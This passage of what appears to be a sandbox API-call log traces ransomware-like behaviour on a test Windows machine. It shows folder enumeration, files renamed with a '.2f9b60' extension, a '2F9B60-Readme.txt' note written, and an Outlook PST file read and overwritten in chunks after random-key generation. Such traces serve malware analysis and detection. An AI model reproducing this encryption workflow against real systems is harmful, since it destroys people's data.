_Dest="f2") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fe4, _Format="%c%c" | out: _Dest="fe") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fe6, _Format="%c%c" | out: _Dest="2d") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fe8, _Format="%c%c" | out: _Dest="f1") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fea, _Format="%c%c" | out: _Dest="bb") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fec, _Format="%c%c" | out: _Dest="80") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fee, _Format="%c%c" | out: _Dest="d9") returned 2 [0116.784] sprintf (in: _Dest=0x1b859ff0, _Format="%c%c" | out: _Dest="87") returned 2 [0116.785] sprintf (in: _Dest=0x1b859ff2, _Format="%c%c" | out: _Dest="f0") returned 2 [0116.785] RtlInitAnsiString (in: DestinationString=0x39bafc88, SourceString="382cd28d2a32686c1bf2fe2df1bb80d987f0" | out: DestinationString="382cd28d2a32686c1bf2fe2df1bb80d987f0") [0116.785] RtlAnsiStringToUnicodeString (in: DestinationString=0x39bafc58, SourceString="382cd28d2a32686c1bf2fe2df1bb80d987f0", AllocateDestinationString=1 | out: DestinationString="382cd28d2a32686c1bf2fe2df1bb80d987f0") returned 0x0 [0116.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b8587f0 [0116.785] wcscat (in: _Dest=0x2050bf80, _Source="382cd28d2" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2" [0116.785] wcscat (in: _Dest=0x2050bf80, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60" [0116.785] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60", NtPathName=0x39bafc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118bc0 [0116.785] NtSetInformationFile (FileHandle=0x1660, IoStatusBlock=0x39bafcd0, FileInformation=0x118bc0, Length=0xc0, FileInformationClass=0xa) returned 0x0 [0116.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118bc0) returned 1 [0116.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46c90) returned 1 [0116.993] NtQueryInformationFile (in: FileHandle=0x1660, IoStatusBlock=0x39bafc98, FileInformation=0x39bafca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39bafc98, FileInformation=0x39bafca8) returned 0x0 [0116.993] NtSetInformationFile (FileHandle=0x1660, IoStatusBlock=0x39bafc98, FileInformation=0x39bafca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bf80) returned 1 [0117.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8587f0) returned 1 [0117.007] FlushFileBuffers (hFile=0x1660) returned 1 [0117.008] CloseHandle (hObject=0x1660) returned 1 [0117.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050bf80 [0117.009] wcscpy (in: _Dest=0x2050bf80, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0117.009] wcscat (in: _Dest=0x2050bf80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\2F9B60-Readme.txt" [0117.009] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\2f9b60-readme.txt")) returned 0xffffffff [0117.009] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1660 [0117.009] WriteFile (in: hFile=0x1660, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x39bafb50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x39bafb50*=0xba9, lpOverlapped=0x0) returned 1 [0117.011] CloseHandle (hObject=0x1660) returned 1 [0117.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bf80) returned 1 [0117.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 Thread: id = 1254 os_tid = 0xd44 [0115.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8687c0 [0115.755] wcscpy (in: _Dest=0x1b8687c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" [0115.755] wcscat (in: _Dest=0x1b8687c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\" [0115.755] wcscat (in: _Dest=0x1b8687c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*" [0115.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d1c0 [0115.756] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858970 [0115.919] wcscmp (_String1=".", _String2=".") returned 0 [0115.919] FindNextFileW (in: hFindFile=0x1b858970, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.919] wcscmp (_String1="..", _String2=".") returned 1 [0115.919] wcscmp (_String1="..", _String2="..") returned 0 [0115.919] FindNextFileW (in: hFindFile=0x1b858970, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0115.919] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0115.919] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0115.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86b040 [0115.919] wcscpy (in: _Dest=0x1b86b040, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" [0115.919] wcscat (in: _Dest=0x1b86b040, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\" [0115.920] wcscat (in: _Dest=0x1b86b040, _Source="Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" [0150.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86b040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x177c [0150.926] FindNextFileW (in: hFindFile=0x1b858970, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0150.926] wcscmp (_String1="Linguistics", _String2=".") returned 1 [0150.926] wcscmp (_String1="Linguistics", _String2="..") returned 1 [0150.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b910 [0150.927] wcscpy (in: _Dest=0x1b85b910, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" [0150.927] wcscat (in: _Dest=0x1b85b910, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\" [0150.927] wcscat (in: _Dest=0x1b85b910, _Source="Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" [0150.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85b910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2308 [0150.928] FindNextFileW (in: hFindFile=0x1b858970, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0150.928] FindClose (in: hFindFile=0x1b858970 | out: hFindFile=0x1b858970) returned 1 [0150.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d1c0) returned 1 [0150.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0150.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85df10) returned 1 Thread: id = 1255 os_tid = 0xd4c [0115.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b868940 [0115.771] wcscpy (in: _Dest=0x1b868940, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" [0115.771] wcscat (in: _Dest=0x1b868940, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\" [0115.771] wcscat (in: _Dest=0x1b868940, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*" [0115.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d430 [0115.771] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858790 [0115.918] wcscmp (_String1=".", _String2=".") returned 0 [0115.918] FindNextFileW (in: hFindFile=0x1b858790, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.918] wcscmp (_String1="..", _String2=".") returned 1 [0115.918] wcscmp (_String1="..", _String2="..") returned 0 [0115.918] FindNextFileW (in: hFindFile=0x1b858790, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0115.919] wcscmp (_String1="Java", _String2=".") returned 1 [0115.919] wcscmp (_String1="Java", _String2="..") returned 1 [0115.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8688c0 [0115.919] wcscpy (in: _Dest=0x1b8688c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" [0115.919] wcscat (in: _Dest=0x1b8688c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\" [0115.919] wcscat (in: _Dest=0x1b8688c0, _Source="Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0150.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8688c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe68 [0150.922] FindNextFileW (in: hFindFile=0x1b858790, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0150.922] FindClose (in: hFindFile=0x1b858790 | out: hFindFile=0x1b858790) returned 1 [0150.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d430) returned 1 [0150.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0150.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a31f0) returned 1 Thread: id = 1256 os_tid = 0xd50 [0115.774] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst")) returned 0x2020 [0115.775] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", dwFileAttributes=0x20) returned 1 [0115.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c8 [0115.953] GetFileSizeEx (in: hFile=0x14c8, lpFileSize=0x1eadf8a0 | out: lpFileSize=0x1eadf8a0*=271360) returned 1 [0115.953] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x423fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.953] ReadFile (in: hFile=0x14c8, lpBuffer=0x1eadf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1eadf868, lpOverlapped=0x0 | out: lpBuffer=0x1eadf820*, lpNumberOfBytesRead=0x1eadf868*=0x4, lpOverlapped=0x0) returned 1 [0115.955] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0115.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0115.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0115.955] NtQuerySystemTime (in: CurrentTime=0x1eadf760 | out: CurrentTime=0x1eadf760*=132462177214222000) returned 0x0 [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x8cf3c57 [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x27d28e4 [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x99d013b [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x2ef5978 [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x739967a6 [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x20ebb044 [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x16495d7d [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x33ce23e9 [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x2a4b1a5f [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x32ff73ac [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x48f5de8f [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x37d28ab8 [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x33e0b557 [0115.955] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x69b34cc3 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x7c0daebd [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x59dd3ed6 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x207e608e [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x1e64ee1a [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0xb124037 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x2013384e [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x1fb5d63d [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0xf368999 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x524b3ab0 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x6583241a [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x4709b668 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x12cb07c9 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x4186f1de [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x3ef4b871 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x536ca1e6 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x7b5d8536 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x444dfd3 [0115.956] RtlRandomEx (in: Seed=0x1eadf750 | out: Seed=0x1eadf750) returned 0x10e57763 [0116.049] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.049] ReadFile (in: hFile=0x14c8, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1eadf7c0, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x1eadf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0116.061] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0116.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0116.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0116.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ed0) returned 1 [0116.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20153cc0 [0116.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0116.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0116.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cf0) returned 1 [0116.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0116.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0116.063] WriteFile (in: hFile=0x14c8, lpBuffer=0x20153cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1eadf7c0, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesWritten=0x1eadf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0116.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0116.064] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.064] ReadFile (in: hFile=0x14c8, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1eadf7c0, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x1eadf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0116.065] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0116.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0116.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0116.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cf0) returned 1 [0116.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20153cc0 [0116.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0116.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0116.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626f0) returned 1 [0116.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0116.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0116.066] WriteFile (hFile=0x14c8, lpBuffer=0x20153cc0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1eadf7c0, lpOverlapped=0x0) [0205.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0205.753] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.753] ReadFile (in: hFile=0x14c8, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1eadf7c0, 